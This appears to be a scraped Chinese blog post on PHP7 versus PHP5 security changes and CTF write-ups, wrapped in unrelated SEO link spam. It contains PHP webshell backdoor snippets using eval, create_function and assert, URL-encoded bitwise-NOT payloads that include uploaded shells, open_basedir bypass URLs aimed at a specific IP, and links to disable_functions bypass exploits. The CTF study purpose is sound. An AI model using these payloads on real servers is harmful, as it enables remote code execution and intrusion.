当前位置: 首页 > news >正文

golang 网站开发 开源长沙装修公司排名前十口碑推荐

golang 网站开发 开源,长沙装修公司排名前十口碑推荐,wordpress腾讯云对象存储,wordpress自动采集插件怎么用PHP7和PHP5上的安全区别preg_replace()不再支持/e修饰符利用\e修饰符执行代码的后门大家也用了不少了#xff0c;具体看官方的这段描述:如果设置了这个被弃用的修饰符#xff0c; preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估…PHP7和PHP5上的安全区别preg_replace()不再支持/e修饰符利用\e修饰符执行代码的后门大家也用了不少了具体看官方的这段描述:如果设置了这个被弃用的修饰符 preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式)并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.PHP5:PHP7:OR:function backdoor($a){// 通常: $a[0]是完成的匹配// $a[1]是第一个捕获子组的匹配// 以此类推return eval($a[0]);}echo preg_replace_callback(/.*/,backdoor,$_GET[z]);?create_function()被废弃$func create_function(,$_POST[cmd]);$func();?unserialize()增加一个可选白名单参数略过。。assert()默认不再可以任意执行代码(assert和eval的区别)这就是众多马不能用的罪魁祸首了太多的马用assert()来执行代码了这个更新基本就团灭一般情况下修改成eval即可正常运行了~提一下菜刀在实现文件管理器的时候用的恰好也是assert函数这导致菜刀没办法在PHP7上正常运行。这里说一下assert和eval的区别。php7中规定了php.ini中的zend.assertions来限制assert。我自己实验ubuntu安装php7.0后zend.assertions-1默认并不是1。eval函数中参数是字符如eval(echo 1;);assert函数中参数为表达式 (或者为函数)如assert(phpinfo())直接传递普通代码是无法执行的如assert(echo 1;);需要换成assert(eval(echo 1;));还有php中有可变函数的定义比如但是eval()是语言结构并不是函数不能作为这样来调用所以为什么一句话木马里没有将eval用字符串拼接替换而是用assert(在7.1之前)7.1的新特性就是assert作为语言结构不能再动态的去执行比如$_POST[1]($_POST[2]);1assert,2system(ls)。但是我测试了很多次发现php7.0中依然assert可以作为可变函数去执行,命令并不是像eval一样的语言结构无法作为可变函数assert再7.0.127.1中依然可以作为可变函数。但是assert确实无法作为一句话木马经过测试php7.0中仍然可以通过$_POST[1]($_POST[2])来实现一句话木马功能但是7.1中assert(xx) xx只能是函数而不是作为字符串。常见语言结构列表echo()print()die()isset()unset()include()注意include_once()是函数require()注意require_once()是函数array()list()empty()十六进制字符串不再被认为是数字这个修改一出以后CTF套路会少很多啊~很多骚操作都不能用了~可以见ISCC的一道题目,intval处理不了16进制字符串返回01被强制转化10进制1不向后兼容的变更(移除了 ASP 和 script PHP 标签)现在只有?php ?这样的标签能在php7上运行移除ltscript languagephp和%这两种另类的php标签废弃容易导致变量覆盖的无第二个参数的parse_strphp7函数调用解析方式实际题目分析error_reporting(0);if(isset($_GET[code])){$code$_GET[code];if(strlen($code)40){die(This is too Long.);}if(preg_match(/[A-Za-z0-9]/,$code)){die(NO.);}eval($code);}else{highlight_file(__FILE__);}highlight_file(__FILE);// ?这道题目时evoA师傅在极客大挑战中出的一道题目相比上面的那道题目这道题目不是简单的让我们去执行函数了而是让我们通过限制去进行目录查看执行命令等操作。仍然是用原来的方法,使用“~”$a phpinfo;echo urlencode(~$a);%8F%97%8F%96%91%99%90 //phpinfo执行一下phpinfo,查看一下被禁用的函数:pcntl_alarmpcntl_forkpcntl_waitpidpcntl_waitpcntl_wifexitedpcntl_wifstoppedpcntl_wifsignaledpcntl_wifcontinuedpcntl_wexitstatuspcntl_wtermsigpcntl_wstopsigpcntl_signalpcntl_signal_get_handlerpcntl_signal_dispatchpcntl_get_last_errorpcntl_strerrorpcntl_sigprocmaskpcntl_sigwaitinfopcntl_sigtimedwaitpcntl_execpcntl_getprioritypcntl_setprioritypcntl_async_signalssystemexecshell_execpopenproc_openpassthrusymlinklinksyslogimap_openlddl可以发现我们常用的执行系统命令的函数都被禁掉了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数print_r(scandir(./));进行编码操作%8F%8D%96%91%8B%A0%8D # print_r%8C%9C%9E%91%9B%96%8D # scandir尝试读取当前目录(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((./)));发现了readflag和flag文件尝试一下直接读取flagreadfile(/flag);编码一下%8D%9A%9E%9B%99%96%93%9A # readfile%D0%99%93%9E%98 # /flag尝试读取一下readflag文件(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));可以看出是一个二进制文件我们需要执行/readflag文件来读取字符串但是我们常用执行系统函数的方法都被禁止了但是经过fuzz发现php的assert函数没有被禁止我们可以使用assert函数写shellassert($_POST[a]);编码一下%9E%8C%8C%9A%8D%8B # assert%DB%A0%AF%B0%AC%AB # $_POST%9E # a尝试一下(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);//讲一下这里我自己实验了下貌似不能这种用法,带$_POST[x]这样的取反只能函数中套函数。可能我深入的还不够有师傅知道的麻烦告诉我。网页没有正常运行继续尝试别的方法在查看tmp目录下发现有其他内容…某不知名大型跑马场有现成的就很方便了随便读一个shell看看内容尝试文件包含一下assert(include(hack.php););编码一下执行命令(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));//说说这里为什么直接结合了include和hack.php因为include是结构语言不是函数因此不能作为可变函数调用而是作为一个整体调用。成功执行,使用蚁剑链接一下上传我们的bypass脚本和拓展库分享一下常用的两个https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.phphttps://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD这个过程就不演示了主要就是演示一下最后的利用包含我们上传的文件assert(include(ssll.php););(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);执行命令成功拿到了flag。有了前面两道题目的基础我们继续研究最后一道题目我跟着这位师傅的文章通过LD_PRELOA绕过获得flag蚁剑的插件脚本没有成功。好巧不巧今天帮忙做的EIS的web第一题ezbypass也是bypass disable_functions的题目与SYC的异曲同工。ezbypass查看phpinfo先绕过open_basedir()去根目录查看文件payload:http://111.186.57.61:10101/?srccmdmkdir(%22/tmp/yunying%22);chdir(%27/tmp/yunying/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27));readflag好像在红帽杯看到过这样的。是一个elf文件要通过执行readflag去获取flagflag是没权限直接去读的必须通过readflag才行。/flag/readflag但是我们这里看到disable_functions中禁止了mail和putenv这样的话就不能通过LD_PRELOAD来绕过了。先去读下/tmp目录下的东西吧估计有预置的马儿。这里就很像syc的里面的题目的流程了随便拿一个php看看我们可以通过assert包含马儿然后通过绕过open_basedir的方法直接连上马儿直接能跨目录浏览。url地址:http://111.186.57.61:10101/?srccmdchdir(/tmp/fuck/);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);assert(include(%27/tmp/test.php%27));连接密码:cmd结合绕过open_basedir和assert文件包含马儿蚁剑连接后可以绕过open_basedir的限制蚁剑上的绕过disable_functions插件不是太好用。既然这里的LD_PRELOAD不好用那就用json反序列化来绕过disable_functionshttps://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php传入/tmp中,命令改为/readflag然后通过刚刚的包含去读到exploit.phppayload:http://111.186.57.61:10101/?srccmdchdir(%27/tmp%27);assert(include(%27exploit.php%27));第三道题目是有关waf的bypass独立出一篇文章记录学习文章https://www.jianshu.com/p/40abc594a118https://www.jianshu.com/p/40abc594a118http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%E5%87%BD%E6%95%B0%E7%89%B9%E6%80%A7%E5%88%86%E6%9E%90/
http://www.zqtcl.cn/news/996705/

相关文章:

  • 做网站属于什么专业个人是否可以申请网址
  • 品牌网站建是啥网站点击率怎么建
  • 上海市质量工程建设管理协会网站网站开发制作公司排行
  • 网站空间租用多少钱怎么在外贸公司拿订单
  • 建设银行网站背景图片温州做网站哪家比较好
  • 网站架设建设如何做网站电话
  • 团购网站怎么推广app平台搭建步骤
  • 沂水建设局网站郑州企业微网站建设
  • 免费企业网站空间wordpress目录主题
  • 做网站的销售话术苏州网站设计哪家公司好
  • 足球梦网站建设的基本思路网站介绍词
  • 森马网站建设情况网站推广中应注意哪些事项
  • 简单网站vs2008不能新建网站
  • 牌具做网站可以吗海外广告投放公司
  • 响应式单页网站模板宁波企业自助建站
  • 网站广告收费标准装饰设计公司起名
  • 网站开发人员构成中国兰州网官网
  • 网站设计的提案旅游网站建设风格
  • 成都网站建设的公司做高大上分析的网站
  • 专业企业网站建设公司成都的网站
  • 广东省建设教育协会官方网站首页怎么设置wordpress头像
  • 图书网站建设论文页游中心
  • 建网站的流程及注意事项任务网站建设
  • 河北邯郸做网站的公司哪家好辽源市住房和城乡建设局网站
  • 网站系统建设技术服务费安康市网站建设
  • 网络运行管理系统seo关键词优化方法
  • 西安学校网站建设价格徐州网页关键词优化
  • 上海哪个网站能应聘做家教的营销网站中最重要的部分是
  • 一个设计网站多少钱WordPress的简约博客主题
  • 普通的宣传网站用什么做济南市工程建设技术监督局网站